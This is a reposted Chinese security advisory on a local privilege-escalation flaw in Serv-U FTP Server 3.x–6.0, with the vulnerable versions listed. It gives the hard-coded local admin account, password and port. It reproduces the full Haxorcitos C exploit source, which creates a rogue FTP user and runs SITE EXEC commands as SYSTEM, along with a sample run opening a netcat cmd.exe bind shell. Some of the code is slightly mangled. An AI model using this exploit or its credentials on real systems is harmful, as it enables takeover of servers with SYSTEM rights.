受影响系统]：
Serv-U FTP Server 6.0
Serv-U FTP Server 5.1.0.0
Serv-U FTP Server 5.0.0.9
Serv-U FTP Server 5.0.0.4
Serv-U FTP Server 5.0
Serv-U FTP Server 4.1.0.3
Serv-U FTP Server 4.1.0.11
Serv-U FTP Server 4.0.0.4
Serv-U FTP Server 4.0.0.0
Serv-U FTP Server 3.0.0.20
--------------------------------------------------------------------------------
[漏洞描述]：
Serv-u 是一款很出名的Ftp Server软件，最新版本Serv-U FTP Server V6.0 已经发布，经过测试发现该版本已之前版本一样都存在这个问题。漏洞是使用Serv-u本地默认管理端口，以默认管理员登陆新建域和用户来执行命令，版本默认本地管理端口是：43958，默认管理员：LocalAdministrator，默认密码：#l@$ak#.lk;0@P，这是集成在Serv-u内部的，可以以Guest权限来进行连接，对Serv-u进行管理。
[测试方法]：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
aT4r ins4n3 （[email][email protected][/email]）提供了如下测试方法：
/*
* Hax0rcitos proudly presents
* Serv-u Local Exploit >v3.x. (tested also against last version 5.1.0.0)
*
* All Serv-u Versions have default Login/password for local Administration.
* This account is only available to connect in the loopback interface, so a
* local user will be able to connect to Serv-u with this account and create
* an ftp user with execute rights. after the user is created, just connect
* to the ftp server and execute a raw "SITE EXEC" command. the program will
* be execute with SYSTEM privileges.
* Copyright (c) 2003-2004 Haxorcitos.com . All Rights Reserved.
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
* Date: 10/2003
* Author: Andrés Tarascó Acunha
* Greetings to: #haxorcitos - #localhost and #!dsr blackxors =)
* Tested Against Serv-u 4.x and v5.1.0.0
G:\exploit\serv-U\local>whoami
INSANE\aT4r
G:\exploit\serv-U\local>servulocal.exe "nc -l -p 99 -e cmd.exe"
Serv-u >3.x Local Exploit by Haxorcitos
<220 Serv-U FTP Server v5.0 for WinSock ready...
>USER LocalAdministrator
<331 User name okay, need password.
******************************************************
>PASS #l@$ak#.lk;0@P
<230 User logged in, proceed.
>SITE MAINTENANCE
[+] Creating New Domain...
<200-DomainID=3
220 Domain settings saved
[+] Domain Haxorcitos:3 Created
[+] Setting New Domain Online
<220 Server command OK
[+] Creating Evil User
<200-User=haxorcitos
200 User settings saved
[+] Now Exploiting...
>USER haxorcitos
>PASS whitex0r
[+] Now Executing: nc -l -p 99 -e cmd.exe
<220 Domain deleted
G:\exploit\serv-U\local>nc localhost 99
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>whoami
whoami
NT AUTHORITY\SYSTEM
C:\>
*/
＃i nclude <stdio.h>
＃i nclude <stdlib.h>
＃i nclude <winsock2.h>
＃i nclude <io.h>
＃i nclude <process.h>
//Responses
#define BANNER "220 "
#define USEROK "331 User name okay"
#define PASSOK "230 User logged in, proceed."
#define ADMOK "230-Switching to SYSTEM MAINTENANCE mode."
#define DOMAINID "200-DomainID="
//Commands
#define XPLUSER "USER haxorcitos\r\n"
#define XPLPASSWORD "PASS whitex0r\r\n"
#define USER "USER LocalAdministrator\r\n"
#define PASSWORD "PASS #l@$ak#.lk;0@P\r\n"
#define MAINTENANCE "SITE MAINTENANCE\r\n"
#define EXIT "QUIT\r\n"
char newdomain[]="-SETDOMAIN\r\n"
"-Domain=haxorcitos|0.0.0.0|2121|-1|1|0\r\n"
"-TZOEnable=0\r\n"
" TZOKey=\r\n";
/* "-DynDNSEnable=0\r\n"
" DynIPName=\r\n";
*/
char deldomain[]="-DELETEDOMAIN\r\n"
"-IP=0.0.0.0\r\n"
" PortNo=2121\r\n";
char newuser[] =
"-SETUSERSETUP\r\n"
"-IP=0.0.0.0\r\n"
"-PortNo=2121\r\n"
"-User=haxorcitos\r\n"
"-Password=whitex0r\r\n"
"-HomeDir=c:\\\r\n"
"-LoginMesFile=\r\n"
"-Disable=0\r\n"
"-RelPaths=1\r\n"
"-NeedSecure=0\r\n"
"-HideHidden=0\r\n"
"-AlwaysAllowLogin=0\r\n"
"-ChangePassword=0\r\n"
"-QuotaEnable=0\r\n"
"-MaxUsersLoginPerIP=-1\r\n"
"-SpeedLimitUp=0\r\n"
"-SpeedLimitDown=0\r\n"
"-MaxNrUsers=-1\r\n"
"-IdleTimeOut=600\r\n"
"-SessionTimeOut=-1\r\n"
"-Expire=0\r\n"
"-RatioUp=1\r\n"
"-RatioDown=1\r\n"
"-RatiosCredit=0\r\n"
"-QuotaCurrent=0\r\n"
"-QuotaMaximum=0\r\n"
"-Maintenance=None\r\n"
"-PasswordType=Regular\r\n"
"-Ratios=None\r\n"
" Access=c:\\|RELP\r\n";
#define localport 43958
#define localip "127.0.0.1"
char cadena[1024];
int rec,domain;
/******************************************************************************/
void ParseCommands(int sock, char *data, int ShowSend, int showResponses,
char *response) {
send(sock,data,strlen(data),0);
if (ShowSend) printf(">%s",data);
Sleep(100);
do {
rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='\0';
if (rec<=0) return;
if (showResponses) printf("<%s",cadena);
if (strncmp(cadena, DOMAINID,strlen(DOMAINID))==0)
domain=atoi(cadena+strlen(DOMAINID));
//} while (strncmp(cadena,response,strlen(response))!=0);
} while (strstr(cadena,response)==NULL);
printf("******************************************************\r\n");
}
int main(int argc, char* argv[])
{
WSADATA ws;
int sock,sock2;
struct sockaddr_in haxorcitos;
struct sockaddr_in xpl;
printf("Serv-u >3.x Local Exploit by Haxorcitos\r\n\r\n");
if (argc<2) {
printf("USAGE: ServuLocal.exe \"command\"\r\n");
printf("Example: ServuLocal.exe \"nc.exe -l -p 99 -e cmd.exe\"");
return(0);
if (WSAStartup( MAKEWORD(2,2), &ws )!=0) {
printf(" [-] WSAStartup() error\n");
exit(0);
}
haxorcitos.sin_family = AF_INET;
haxorcitos.sin_port = htons(localport);
haxorcitos.sin_addr.s_addr = inet_addr(localip);
sock=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(sock,( struct sockaddr *)&haxorcitos,sizeof(haxorcitos));
rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='\0';
printf("<%s",cadena);
ParseCommands(sock,USER,1,1,USEROK);
ParseCommands(sock,PASSWORD,1,1,PASSOK);
ParseCommands(sock,MAINTENANCE,1,0,"230 ");
printf("[+] Creating New Domain...\r\n");
ParseCommands(sock,newdomain,0,1,BANNER);
printf("[+] Domain Haxorcitos:%i Created\n",domain);
/* Only for v5.x
printf("[+] Setting New Domain Online\r\n");
sprintf(cadena,"-SERVERCOMMAND\r\n-ID=%i\r\n
Command=DomainOnline\r\n",domain);
ParseCommands(sock,cadena,0,1,BANNER);
printf("[+] Creating Evil User\r\n");
ParseCommands(sock,newuser,0,1,"200 ");
Sleep(1000);
printf("[+] Now Exploiting...\r\n");
xpl.sin_family = AF_INET;
xpl.sin_port = htons(2121);
xpl.sin_addr.s_addr = inet_addr(localip);
sock2=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(sock2,( struct sockaddr *)&xpl,sizeof(xpl));
rec=recv(sock2,cadena,sizeof(cadena),0); cadena[rec]='\0';
ParseCommands(sock2,XPLUSER,1,1,USEROK);
ParseCommands(sock2,XPLPASSWORD,1,1,PASSOK);
printf("[+] Now Executing: %s\r\n",argv[1]);
sprintf(cadena,"site exec %s\r\n",argv[1]);
send(sock2,cadena,strlen(cadena),0);
shutdown(sock2,SD_BOTH);
Sleep(100);
ParseCommands(sock,deldomain,0,1,BANNER);
send(sock,EXIT,strlen(EXIT),0);
shutdown(sock,SD_BOTH);
closesocket(sock);
closesocket(sock2);
return 0;
[安全建议]：
厂商补丁：
RhinoSoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
本文转自loveme2351CTO博客，原文链接： http://blog.51cto.com/loveme23/8611，如需转载请自行联系原作者
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